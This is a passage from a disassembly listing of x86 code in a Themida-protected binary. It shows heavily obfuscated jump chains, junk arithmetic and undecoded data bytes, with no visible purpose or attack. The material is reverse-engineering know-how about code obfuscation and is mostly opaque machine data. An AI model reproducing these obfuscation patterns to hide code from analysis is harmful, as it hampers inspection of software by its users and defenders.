0F18111CAh, 16AE388Eh, 6859CD01h, 59A5h, 0BE243489h dd 7CE25EC9h, 0DEF7464Eh, 4D9EE81h, 0EEC17CC7h, 2DBF5703h dd 0F74E9D20h, 5587E9D7h, 0C789FFFFh, 5FF80158h, 0B387E956h dd 0E952FFFFh, 0FFFF5FA2h, 0C806232Dh, 79F1356Ah, 0C7890D39h dd 6D49E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DB46: ; CODE XREF: Themida_:0055409Aj pop ecx add ecx, 191B6E16h sub ecx, 24C16C8Dh sub ecx, edi add ecx, 24C16C8Dh sub ecx, 191B6E16h mov edi, [esp] add esp, 4 push ebp mov ebp, 0DB72A6AAh sub ecx, ebp pop ebp and eax, ecx pop ecx or eax, eax jz loc_55818F sub esp, 4 mov [esp], ebx push eax push 5177h jmp loc_564BBC ; --------------------------------------------------------------------------- dd 24048B66h, 22A56852h, 0C890000h, 81E18924h, 4C1h, 4E98100h dd 87000000h, 8BE9240Ch, 0B900003Ah, 2, 17E9CD01h, 81FFFFD7h dd 27125DEBh, 0B4EB8128h, 29319B16h, 0D396E9D9h, 814EFFFFh dd 4ECh, 24148900h, 0A8B2A9BAh, 8CC68121h, 0E9052B0Eh dd 6F19h, 0BDB5E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DBEE: ; CODE XREF: Themida_:00562B13j add edi, 181470F3h jmp loc_565A35 ; --------------------------------------------------------------------------- loc_55DBF9: ; CODE XREF: Themida_:005575A0j xchg edx, esi jmp loc_566DF5 ; --------------------------------------------------------------------------- loc_55DC00: ; CODE XREF: Themida_:00565E5Fj add esi, edi mov edi, [esp] add esp, 4 and eax, esi mov esi, [esp] push eax push esp pop eax push ebp mov ebp, 78064065h jmp loc_555C45 ; --------------------------------------------------------------------------- db 58h dd 0E95BFA28h, 0FFFFF30Ch, 5B5BDD01h, 739BC581h, 0F501599Bh dd 739BED81h, 0C581599Bh, 1E6377A6h, 0E924348Bh, 0FFFF6E85h dd 0B7B450h, 515858E7h, 0E98032B1h, 59CF0048h, 0C7E9E700h dd 8300000Dh, 0C8904ECh, 50595424h, 3EE268h, 241C8900h dd 4A4710BBh, 91CB813Eh, 0E918C911h, 2CF5h ; --------------------------------------------------------------------------- loc_55DC7C: ; CODE XREF: Themida_:00556FF8j add ecx, 0D2A902C6h and ebx, ecx jmp loc_55C077 ; --------------------------------------------------------------------------- db 59h, 66h, 68h dd 65E9618Ch, 8BFFFFECh, 89572404h, 4BE56E7h, 1000000h dd 0C7835EF7h, 243C8704h, 0E924248Bh, 0FFFFE7DDh ; --------------------------------------------------------------------------- loc_55DCB0: ; CODE XREF: Themida_:005594F6j sub esp, 4 mov [esp], eax push 4698h mov [esp], esi jmp loc_55D58D ; --------------------------------------------------------------------------- loc_55DCC3: ; CODE XREF: Themida_:005648E0j mov ebx, 0DA73842Dh jmp loc_55CFC3 ; --------------------------------------------------------------------------- db 83h, 0C6h, 1 dd 0F185F681h, 6C81C5E3h, 76670824h, 6C81492Ah, 6E8A0824h dd 24E93C1Ah, 3300009Ah, 4312404h, 24043324h, 8924248Bh dd 0A1682434h, 89000026h, 0BF57240Ch, 0C125566h, 0EDAB98B9h dd 5FF901F3h, 0FFDD92E9h, 0B25266FFh, 66D18815h, 5AD1005Ah dd 285AF128h, 240C8BC8h, 6E1BE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DD2E: ; CODE XREF: Themida_:005642E9j pop edx sub edx, 71635FDFh mov ecx, edx pop edx pop edi add ecx, 0FFFFFFFFh jmp loc_55CAD8 ; --------------------------------------------------------------------------- loc_55DD44: ; CODE XREF: Themida_:00554C50j push ecx jmp loc_55414C ; --------------------------------------------------------------------------- loc_55DD4A: ; CODE XREF: Themida_:00560AE1j mov esp, [esp] mov [esp], edi sub esp, 4 jmp loc_56446E ; --------------------------------------------------------------------------- db 0ADh dd 61068h, 24348900h, 0E02C6BEh, 1BE9532Eh, 81FFFF76h dd 0D568C7C9h, 4C1814Ch, 1D7738Dh, 2434FFCBh, 4C48159h dd 0E9000000h, 885Ah ; --------------------------------------------------------------------------- loc_55DD8C: ; CODE XREF: Themida_:00565963j sub eax, 0C91A5BEAh mov edx, eax pop eax neg edx jmp loc_561F6A ; --------------------------------------------------------------------------- aB_0 db 'ʳ|',0 dd 21E8E917h, 0BF570000h, 600E037Fh, 0C28E9h, 2474FF00h dd 48F5F04h, 24248B24h, 0E9241489h, 0FFFF7071h, 2745C381h dd 0EB810BC0h, 1F286E8Fh, 8124148Bh, 4C4h, 241C3300h, 70FEE9h db 0 ; --------------------------------------------------------------------------- loc_55DDE1: ; CODE XREF: Themida_:00557539j sub edx, 60891C8Ch jmp loc_5658B5 ; --------------------------------------------------------------------------- dd 240C8B66h, 36ED68h, 24348900h, 0C6815E54h, 4, 3B9BBF57h dd 0BF684098h, 0E9000026h, 0FFFF6A2Ah, 33240431h, 0B2E92404h dd 89000091h, 2799E9D9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DE22: ; CODE XREF: Themida_:005619BDj pop ecx sub ecx, 4353D67h mov edx, ecx pop ecx pop esi sub [esp+8], edx jmp loc_562B18 ; --------------------------------------------------------------------------- dw 748Ah dd 6C880224h, 8B660224h, 8950240Ch, 405E0h, 2050000h, 87000000h dd 0E95C2404h, 0FFFF49A6h ; --------------------------------------------------------------------------- loc_55DE58: ; CODE XREF: Themida_:00555A4Bj sub esp, 4 mov [esp], edi sub esp, 4 mov [esp], ebp mov ebp, 1000000h jmp loc_5642C8 ; --------------------------------------------------------------------------- dd 81E78957h, 4C7h, 4C78300h, 7AB9E9h db 0 ; --------------------------------------------------------------------------- loc_55DE85: ; CODE XREF: Themida_:0055EE32j dec ecx jmp loc_55BE37 ; --------------------------------------------------------------------------- db 81h dd 9B4C96C3h, 0F381436Bh, 8D3E41A5h, 255BD829h, 30AE6901h dd 4EC81h, 2C890000h, 6BD16824h, 95D2E21h, 242C8BE8h, 8B29E9h dd 81C20100h, 0D73800C2h, 24048B76h, 5E91E9h, 24048100h dd 7E0A4F9Eh, 83240401h, 0C8904ECh, 4F9EB924h, 4C297E0Ah dd 55590424h, 0FFCD6BE9h, 0E5C381FFh, 811CFF54h, 610239CBh dd 0C3E94356h, 81FFFF97h, 98317FE7h, 0E9EFD125h, 0FFFFCB86h ; --------------------------------------------------------------------------- loc_55DF08: ; CODE XREF: Themida_:005662DCj pop esp jmp loc_564EB9 ; --------------------------------------------------------------------------- a1ZssO db '1ÖZSé]Ž',0 db 0 ; --------------------------------------------------------------------------- loc_55DF17: ; CODE XREF: Themida_:00553A99j xchg ebx, [esp] mov esp, [esp] push esi jmp loc_560C60 ; --------------------------------------------------------------------------- loc_55DF23: ; CODE XREF: Themida_:0055FB98j shr eax, 18h xor eax, ecx xor eax, ecx xor ecx, eax xor eax, ecx push 30A3h mov [esp], ecx not dword ptr [esp] pop ecx jmp loc_55E342 ; --------------------------------------------------------------------------- db 0C1h dd 0F28105EAh, 1794FDF9h, 815AD589h, 846B0BCDh, 0D5E58149h dd 816F9C2Ch, 7F0BDCCDh, 81DDF747h, 0C64C78CDh, 0C7ED814Bh dd 0E9A7B8A5h, 0FFFFAAA2h ; --------------------------------------------------------------------------- loc_55DF70: ; CODE XREF: Themida_:0055F0B5j push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_564751 ; --------------------------------------------------------------------------- dw 0D030h dd 8124148Bh, 4C4h, 0B8E95600h, 59FFFFDAh, 4C181h, 0B9E90000h db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DF9B: ; CODE XREF: Themida_:00558D35j pop ecx push 7287h mov [esp], ebx jmp loc_556AC5 ; --------------------------------------------------------------------------- db 52h, 0BAh, 0F5h dd 813B6908h, 0C32DC0C2h, 0FA06E932h, 0C146FFFFh, 0C68105EEh dd 4AED793Ah, 7334E946h, 0E6890000h, 0FF7922E9h, 0C2805AFFh dd 5FEA805Fh, 0C280EA00h, 1D47E95Fh, 52560000h, 38286856h dd 2DE9270Bh, 0F700002Fh, 4FBA52D0h, 1710A89h, 0C3895AD0h dd 5770E958h, 0B951FFFFh, 52E364CAh, 14AAE9h db 0 ; --------------------------------------------------------------------------- loc_55E00D: ; CODE XREF: Themida_:0055526Ej xor edi, ecx pop ecx sub ecx, 4E3D69A7h add ecx, edi add ecx, 4E3D69A7h mov edi, [esp] add esp, 4 push edi push eax mov eax, 1A5B494Ah dec eax add eax, 0E5A4B6BBh jmp loc_55ADFA ; --------------------------------------------------------------------------- loc_55E039: ; CODE XREF: Themida_:00566DB1j or ebp, esi pop esi add ebp, 565138D0h sub ebp, 0A66A9E9Dh mov edx, ebp jmp loc_55359D ; --------------------------------------------------------------------------- loc_55E04F: ; CODE XREF: Themida_:0055669Ej add ebp, eax mov eax, [esp] add esp, 4 jmp loc_55A193 ; --------------------------------------------------------------------------- db 83h dd 895204C4h, 1FBB53E2h, 816FFC59h, 150B1F3h, 2CE38125h dd 0C100A92Ah, 0F38106EBh, 2A424h, 1C8BDA01h, 4C48324h dd 4C281h, 3E90000h, 81FFFFF1h, 2B7C74F2h, 51ED8100h, 1226226h dd 51C581D5h, 0E9226226h, 0FFFFCA0Dh, 24048B66h, 4EC8151h dd 89000000h, 4812424h, 424h, 68575900h, 6D51h, 0FFD6FEE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E0CD: ; CODE XREF: Themida_:00554708j push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_56009E ; --------------------------------------------------------------------------- dd 83243C8Bh, 1C3304C4h, 241C3124h, 8B241C33h, 76E92424h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E0FB: ; CODE XREF: Themida_:00555E9Aj push ebx mov ebx, 4 add eax, ebx pop ebx sub eax, 4 xchg eax, [esp] pop esp push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ebp, [esp] jmp loc_55D6DC ; --------------------------------------------------------------------------- loc_55E11D: ; CODE XREF: Themida_:0055452Dj mov dh, 0E2h sub bl, dh pop edx movzx eax, al jmp loc_55E697 ; --------------------------------------------------------------------------- dw 0EB81h dd 75183096h, 0CCC3814Bh, 89047EB9h, 7B85E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E13E: ; CODE XREF: Themida_:00554859j push 6C7Bh mov [esp], ebp mov ebp, 6D4C4966h dec ebp jmp loc_561907 ; --------------------------------------------------------------------------- db 52h, 0FFh, 74h dd 0E95A0424h, 0FFFF91AEh, 0CF8898B1h, 0FFC764E9h, 0C1E3D1FFh dd 0F38105E3h, 481E3465h, 0FF6384E9h, 4C483FFh, 5C240C87h dd 240C8B66h, 0FFF3ECE9h, 0C68956FFh, 75E9F389h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E18F: ; CODE XREF: Themida_:00566B0Fj xchg eax, [esp] pop esp push ebx mov ebx, esp add ebx, 4 sub esp, 4 mov [esp], esi mov esi, 4 sub ebx, esi pop esi jmp loc_55CAE3 ; --------------------------------------------------------------------------- db 81h dd 0BB7B9DEFh, 5E7C125h, 24DFE781h, 0C7814EE1h, 0CCF925C8h dd 6AD2F781h, 0FD897288h, 0ABDAE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E1D2: ; CODE XREF: Themida_:00567A54j mov eax, 504D62FBh jmp loc_563323 ; --------------------------------------------------------------------------- dd 0BE9D8F7h, 31000016h, 0E9D831C3h, 0FFFFC513h, 361DF305h dd 0E0C15F60h, 28252508h, 57E91C56h, 81FFFFACh, 0F26B67F1h dd 0A66CE911h, 34FFFFFFh, 0F871E924h, 0BB53FFFFh, 4, 0E95BDA01h dd 5A6Fh, 4244C01h, 4244481h, 6D4B3483h, 592434FFh, 517BE9h db 0 ; --------------------------------------------------------------------------- loc_55E235: ; CODE XREF: Themida_:0055F0FDj xchg ebp, [esp] pop esp jmp loc_559643 ; --------------------------------------------------------------------------- dw 8B5Fh dd 0C4812434h, 4, 2474FF53h, 48F5B04h, 89DCE924h, 0EE81FFFFh dd 0AAFF7676h, 895EF531h, 0E2815DEAh, 75B72655h, 9EC1EA81h dd 0D6013900h, 76B1E9h, 241C8B00h, 4C481h, 0C1810000h dd 2, 0E9240C33h, 0FFFF9C44h, 4AF2CA81h, 0F2814A5Ch, 4E177512h dd 0E2E1EA81h, 0D6211A9Dh, 0CBEE815Ah, 0E90DCB34h, 16CFh ; --------------------------------------------------------------------------- loc_55E2AC: ; CODE XREF: Themida_:005619E3j add eax, ebx push ecx mov ecx, 50981376h inc ecx jmp loc_562DA4 ; --------------------------------------------------------------------------- loc_55E2BA: ; CODE XREF: Themida_:0055847Cj and ebp, 0CE02E04h shr ebp, 1 sub ebp, 0FBE5FFD2h jmp loc_560F46 ; --------------------------------------------------------------------------- db 33h, 4, 24h dd 0E9240431h, 3664h ; --------------------------------------------------------------------------- loc_55E2D8: ; CODE XREF: Themida_:00560717j xor ebp, eax jmp loc_5588EF ; --------------------------------------------------------------------------- loc_55E2DF: ; CODE XREF: Themida_:0055CA40j pop edi pop dword ptr [esp] pop esp mov [esp], esi not dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop esi jmp loc_558CA5 ; --------------------------------------------------------------------------- loc_55E2F6: ; CODE XREF: Themida_:0056771Ej push esi mov esi, 652F23FAh sub ecx, esi pop esi pop esi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], eax push 6DEh jmp loc_5638E1 ; --------------------------------------------------------------------------- db 31h dd 0E9815DE8h, 4832136Eh, 0C181C101h, 4832136Eh, 240C8758h dd 6015E9h db 0 ; --------------------------------------------------------------------------- loc_55E331: ; CODE XREF: Themida_:00560BD7j sub [edi+24h], eax mov eax, [esp] add esp, 4 jmp loc_55F48A ; --------------------------------------------------------------------------- loc_55E342: ; CODE XREF: Themida_:0055DF3Aj push ebp push esp pop ebp push ebx mov ebx, 4 add ebp, ebx pop ebx sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_566E24 ; --------------------------------------------------------------------------- db 2Dh, 0DCh, 8 dd 9DE9371Dh, 8100000Bh, 4C1h, 0E528E900h, 48BFFFFh, 4C48124h dd 83000000h, 0E95504C4h, 0FFFFB56Dh ; --------------------------------------------------------------------------- loc_55E384: ; CODE XREF: Themida_:0056607Fj mov [esp], edi mov edi, 3001214Eh shr edi, 7 dec edi push edi push eax jmp loc_553EFB ; --------------------------------------------------------------------------- db 59h dd 7FE95A66h, 51FFFFDCh, 0C888A1B1h, 304BB659h, 0E251E9C6h dd 8B66FFFFh, 0C4812414h, 2, 4EC81h, 0C890000h, 60156824h dd 1C890000h, 88515224h, 24FEE9C5h, 1C8B0000h, 4C48124h dd 81000000h, 0F93BB2C5h, 0DEFCE92Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E3E6: ; CODE XREF: Themida_:00558255j push edi push ebp jmp loc_56719B ; --------------------------------------------------------------------------- aQiR db 'QˆÁRº',0 align 4 dd 0DA010000h, 8B5A0A88h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 4 jmp loc_560B19 ; --------------------------------------------------------------------------- dd 0CA89C189h, 2434FF59h, 4C48358h, 148BD001h, 4C48124h dd 0E9000000h, 61F4h ; --------------------------------------------------------------------------- loc_55E428: ; CODE XREF: Themida_:0055F09Fj xor eax, esi jmp loc_56065A ; --------------------------------------------------------------------------- loc_55E42F: ; CODE XREF: Themida_:0056670Ej push 35FDh mov [esp], edi mov edi, 56BD4720h shl edi, 8 neg edi add edi, 74350352h and edi, 1526376h sub edi, 0F8FAAD38h xor esi, edi pop edi mov edx, esi mov esi, [esp] add esp, 4 jmp loc_552D8B ; --------------------------------------------------------------------------- dw 3C87h dd 6C03E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E46E: ; CODE XREF: Themida_:00552B78j not ebx not ebx add ebx, 2BA767h add ebx, edi push ecx sub esp, 4 mov [esp], eax jmp loc_5577F7 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 4C481h, 0B4500000h, 2ECC0F2h, 0EC80DCF6h, 80D4F62Ch dd 0EC8301ECh, 240C8904h, 64BEE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E4AE: ; CODE XREF: Themida_:00557E82j xchg ebx, [esp] pop esp mov [esp], ecx jmp loc_55D803 ; --------------------------------------------------------------------------- dw 0E789h dd 4C781h, 0EF810000h, 4, 0FF7E08E9h, 3C7A68FFh, 0DFE90000h db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E4D7: ; CODE XREF: Themida_:005561E8j sub [esp+4], eax push 495Ch mov [esp], edi jmp loc_560208 ; --------------------------------------------------------------------------- loc_55E4E8: ; CODE XREF: Themida_:00555655j mov ebx, 4 add ebp, ebx jmp loc_560BC5 ; --------------------------------------------------------------------------- dd 0BA241489h, 4, 0FFDCD0E9h, 2BAFFh, 0C3810000h, 1F286E8Fh dd 6B25E9h, 0E0EA8100h, 8B2C3014h, 0C483241Ch, 0DB4E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E522: ; CODE XREF: Themida_:00560DECj pop esi jmp loc_5589A6 ; --------------------------------------------------------------------------- loc_55E528: ; CODE XREF: Themida_:00557E48j push eax mov eax, 73B57969h jmp loc_55D3C3 ; --------------------------------------------------------------------------- db 89h dd 1BA2414h, 0E9000000h, 3C9Dh, 315AD031h, 79F368C3h, 2C890000h dd 9216824h, 96E90000h, 83FFFF6Dh, 143304C2h, 24143124h dd 5C241433h, 8904EC83h, 1BB22414h, 14F65266h, 0E95A6624h dd 0FFFF60D2h, 66BBCF80h, 3064B252h, 805A66D7h, 0FC0088C4h dd 0FF950BE9h, 98E2DFFh, 0F8010BE8h, 4D80E9h db 0 ; --------------------------------------------------------------------------- loc_55E599: ; CODE XREF: Themida_:0056419Aj xor esi, edx pop edx jmp loc_553E76 ; --------------------------------------------------------------------------- loc_55E5A1: ; CODE XREF: Themida_:00564484j push ebx mov ebx, esp push edx mov edx, 4 sub ebx, 3FC622A9h add ebx, edx add ebx, 3FC622A9h pop edx jmp loc_55303C ; --------------------------------------------------------------------------- dw 8B66h dd 0E9532404h, 0FFFFE780h, 0CCC6857h, 5CE963C0h, 54000035h dd 6749E9h, 0A2CB900h, 0E1C1429Ah, 0E9F18102h, 0C11A8242h dd 0C7E904E1h, 89FFFF6Dh, 4C381E3h, 0E9000000h, 498Bh dd 1B951h, 0CF290000h, 4EC8359h, 50241489h, 5374E1B8h dd 68B30D7Fh, 0F75069ECh, 48B2414h, 4C48124h, 0E9000000h dd 34D5h, 0BB25E82Dh, 58C2013Fh, 5204EA83h, 42474FFh, 0A750E95Ah dd 2C8BFFFFh, 4C48324h, 2474FF52h, 48F5A04h, 24248B24h dd 9268F1F7h, 0E9000036h, 0FFFFEFE4h, 2C8BE829h, 4C48124h dd 2D000000h, 7A2D22B5h, 3064E9h db 0 ; --------------------------------------------------------------------------- loc_55E671: ; CODE XREF: Themida_:0056725Dj sub edx, edi pop edi add esi, edx mov edx, [esp] add esp, 4 push esi jmp loc_558DED ; --------------------------------------------------------------------------- db 52h, 0BAh, 58h dd 8114B627h, 14B9BCAh, 0B2E94A6Bh db 95h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E697: ; CODE XREF: Themida_:0055E125j push dword ptr [edi+eax*4] push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_566299 ; --------------------------------------------------------------------------- loc_55E6AB: ; CODE XREF: Themida_:0055ED26j mov [esp], eax push 4F8Ah mov [esp], edi push dword ptr [esp] mov eax, [esp] add esp, 4 push ecx jmp loc_55C142 ; --------------------------------------------------------------------------- loc_55E6C5: ; CODE XREF: Themida_:00556A26j push ecx jmp loc_55F823 ; --------------------------------------------------------------------------- db 0B9h dd 4B4E4D37h, 2414F751h, 6DDDE959h, 0E7C10000h, 4EFC106h dd 2A19BD55h, 0D5F71F24h, 0C581EDD1h, 8FD45165h, 0E95DEF31h dd 0FFFF8C04h, 3E5668h, 9219E900h, 0E9810000h, 0F0561970h dd 977C80BEh, 0FFCE3102h, 0E9592434h, 0FFFFC491h, 2E30CE81h dd 0EE810F19h, 6A9C04B5h, 0FFA208E9h, 4C481FFh, 5B000000h dd 6686E9h db 0 ; --------------------------------------------------------------------------- loc_55E735: ; CODE XREF: Themida_:00561D0Ej add esp, 4 push 7031h mov [esp], ebp push dword ptr [esp] jmp loc_566734 ; --------------------------------------------------------------------------- loc_55E74B: ; CODE XREF: Themida_:0055BCD2j mov esi, 0E35C99h jmp loc_55D5CA ; --------------------------------------------------------------------------- db 5Dh, 8Bh, 0Ch dd 4C48324h, 4938E9h, 4BB00h, 44810000h, 7D1A0424h, 53E96FD0h db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E773: ; CODE XREF: Themida_:00566868j xchg ecx, [esp] pop esp mov [esp], eax mov eax, 3DAB218Dh push 446Bh mov [esp], edx mov edx, 96792ED5h mov ebp, edx pop edx sub ebp, eax mov eax, [esp] jmp loc_55EF6A ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0BA241489h, 1A7C3D68h, 0FF43C7E9h, 6E2C1FFh, 66F2814Ah dd 0E911E34Fh, 0FFFFB397h ; --------------------------------------------------------------------------- loc_55E7B8: ; CODE XREF: Themida_:00555378j mov eax, 4 sub edx, eax pop eax push edx push dword ptr [esp+4] mov edx, [esp] jmp loc_5672CB ; --------------------------------------------------------------------------- db 51h, 89h, 0E1h dd 4C181h, 0E9810000h, 4, 669EE9h, 0F1E95F00h, 8B00000Dh dd 0C481241Ch, 4, 8704EA83h, 895C2414h, 2BF243Ch, 81000000h dd 5A5A27C1h, 68F90156h, 2D7Eh, 50242C89h, 0C63CE957h dd 0E589FFFFh, 4C581h, 0C5810000h, 2, 8B242C87h, 53662424h dd 0E9CA8852h, 0FFFFBCE3h ; --------------------------------------------------------------------------- loc_55E834: ; CODE XREF: Themida_:005642A3j push dword ptr [esp] pop ecx push eax mov eax, esp jmp loc_5665DC ; --------------------------------------------------------------------------- dd 15C5E955h, 0CD010000h, 57240C8Bh, 0C781E789h, 4, 0FF7247E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E859: ; CODE XREF: Themida_:00554E21j xor bh, cl pop ecx add bh, 0E3h add dl, bh pop ebx mov ch, dl jmp loc_558D2C ; --------------------------------------------------------------------------- db 57h, 0FFh, 74h dd 3C8B0424h, 4C48324h, 0E924048Fh, 5F77h, 0E902E7C1h dd 42D7h, 57CCE981h, 0CD893448h, 5DEB8959h, 34FFD901h dd 0C4835B24h, 0D8F18104h, 5706622Ch, 0FCF1B7BFh, 8BF901A7h dd 0C481243Ch, 4, 51EAE9h db 0 ; --------------------------------------------------------------------------- loc_55E8B5: ; CODE XREF: Themida_:00554093j sub edx, 77D1260h add edx, ebp jmp loc_566959 ; --------------------------------------------------------------------------- loc_55E8C2: ; CODE XREF: Themida_:00564F76j neg dh push 3FAEh mov [esp], ecx mov cl, 40h and cl, 8Ah push ebx mov bh, 3Ah jmp loc_566F94 ; --------------------------------------------------------------------------- db 81h, 0F2h, 0F3h dd 0E97E8657h, 0FFFFF9A8h, 2C7815Dh, 33000000h, 3C31243Ch dd 243C3324h, 6624248Bh, 9C240401h, 0FF3EFDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E901: ; CODE XREF: Themida_:00565A93j pop ebp xor ebp, ecx pop ecx sub ebp, 7DDD7588h not ebp add ebp, 5B366002h mov ebx, ebp mov ebp, [esp] jmp loc_55CF70 ; --------------------------------------------------------------------------- loc_55E91D: ; CODE XREF: Themida_:00559CC0j push 7267h mov [esp], esi mov esi, 58C47150h shr esi, 2 jmp loc_55C80B ; --------------------------------------------------------------------------- dw 0C89h dd 20E95424h db 55h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E93B: ; CODE XREF: Themida_:00564D6Bj mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp dec ebp jmp loc_5662E1 ; --------------------------------------------------------------------------- db 0F6h dd 0E47DE9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E95A: ; CODE XREF: Themida_:00563094j mov esi, ebx mov ebx, [esp] jmp loc_561573 ; --------------------------------------------------------------------------- loc_55E964: ; CODE XREF: Themida_:0055C9CAj sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax mov eax, 2 sub ebx, eax mov eax, [esp] add esp, 4 push 383Dh mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] mov [esp], ax jmp loc_5527FE ; --------------------------------------------------------------------------- loc_55E997: ; CODE XREF: Themida_:0055D05Cj xchg esi, [esp] pop esp mov [esp], ebp mov eax, [esp] add esp, 4 pop ebp pop ebx jmp loc_55BD6F ; --------------------------------------------------------------------------- loc_55E9AB: ; CODE XREF: Themida_:0055BADCj add ebp, 4 jmp loc_55D69C ; --------------------------------------------------------------------------- db 51h dd 0C1815954h, 4, 4E981h, 0C870000h, 37E95C24h db 6Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E9CB: ; CODE XREF: Themida_:00558CB2j add esp, 4 add bl, 0F5h jmp loc_5589ED ; --------------------------------------------------------------------------- db 0F7h, 0D7h, 81h dd 0DC7BDAC7h, 81D7F760h, 9DEE0F7h, 5FF8294Ah, 5B8BC381h dd 35E9788Dh, 5FFFFBDh, 261E0161h, 0ACE9D801h, 31FFFFDCh dd 24148BD7h, 6C10E9h, 0B2526600h, 66D13003h, 59CE005Ah dd 201AB050h, 419EE9C6h, 0E952FFFFh, 770h, 2C04E8C0h, 58C50825h dd 808CE580h, 0E5C0EFCDh, 0BE685204h, 0E9000007h, 3B8Ch dd 2D7CE381h, 0CB814902h, 1EFE6B47h, 5807F381h, 0F7532A05h dd 0E95B2414h, 40Eh ; --------------------------------------------------------------------------- loc_55EA60: ; CODE XREF: Themida_:005621FCj add edi, 4 add edi, 4 jmp loc_55814A ; --------------------------------------------------------------------------- db 0FEh, 0CDh, 0C0h dd 8EE904EDh, 6600008Bh, 66C8AF0Fh, 77E99C51h, 1FFFF3Dh dd 0DE0159CBh, 0FF59E2E9h, 2434FFFFh, 0E7895759h, 600BBE56h dd 81465862h, 3C08CBEEh, 0BE56555Dh, 394F1184h, 0C64378BDh dd 0E551E99Bh, 875FFFFFh, 335C241Ch, 3C31243Ch, 243C3324h dd 6624248Bh, 2404B30Fh, 3D2CE99Ch, 8957FFFFh, 4C781E7h dd 0E9000000h, 76D6h db 83h, 0C4h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx push ebx push ecx mov ecx, 66492309h mov ebx, ecx pop ecx shr ebx, 5 push edx jmp loc_5602AA ; --------------------------------------------------------------------------- dw 15Fh dd 0D10158C1h, 5147E981h, 34FF18B5h, 54575A24h, 9168515Fh dd 5911850Dh, 0AD75E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EB1A: ; CODE XREF: Themida_:00552D8Ej push edi push 2 pop edi add ebp, edi jmp loc_560814 ; --------------------------------------------------------------------------- loc_55EB28: ; CODE XREF: Themida_:0055CB04j pop eax shr ebx, 8 add ebx, 0F64FF854h xor ecx, ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_562F74 ; --------------------------------------------------------------------------- db 31h dd 0C33240Ch, 24248B24h, 84D6E9h, 23E95100h, 89FFFFA2h dd 0E9542434h, 0FFFFC5FAh, 8B243487h, 93E92424h db 3Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EB6B: ; CODE XREF: Themida_:00554539j pop esp shr ecx, 0 or eax, eax jz loc_55CA36 push esi push eax jmp loc_55D413 ; --------------------------------------------------------------------------- dw 0EA81h dd 39C14C1Bh, 18DBE9h, 4C48300h, 80FFE980h, 0CE28CDC1h dd 83240C8Bh, 0F03004C4h, 8324148Bh, 0EC8104C4h, 2, 24148966h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 124054BAh xor eax, 124054BEh add ebp, eax jmp loc_55BD52 ; --------------------------------------------------------------------------- loc_55EBC1: ; CODE XREF: Themida_:005563B7j mov ecx, 698E43CCh add eax, ecx pop ecx mov ecx, [esp] jmp loc_555740 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_55D784 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 0E924048Bh, 2B33h, 17E9E289h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EBFB: ; CODE XREF: Themida_:00561047j mov [esp], edx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 pop edx push edi jmp loc_55A88A ; --------------------------------------------------------------------------- db 81h, 0EEh, 4 dd 87000000h, 895C2434h, 3DE9240Ch, 29000073h, 0C618E9FBh dd 0D9F7FFFFh, 0CE56C181h, 0CF31A958h, 5FF90159h, 6859CD31h dd 7BF7h, 2202E9h, 89E95F00h, 0FFFFFFF4h, 0F2E92434h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EC63: ; CODE XREF: Themida_:00558048j add ecx, ebp push dword ptr [esp] pop ebp add esp, 4 add eax, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_55B532 ; --------------------------------------------------------------------------- loc_55EC7D: ; CODE XREF: Themida_:005551CAj pop edx jmp loc_55A768 ; --------------------------------------------------------------------------- loc_55EC83: ; CODE XREF: Themida_:00562D80j add esp, 4 push ebp sub dword ptr [esp], 6221068Bh pop dword ptr [edx+38h] add dword ptr [edx+38h], 6221068Bh jmp loc_55331C ; --------------------------------------------------------------------------- loc_55EC9D: ; CODE XREF: 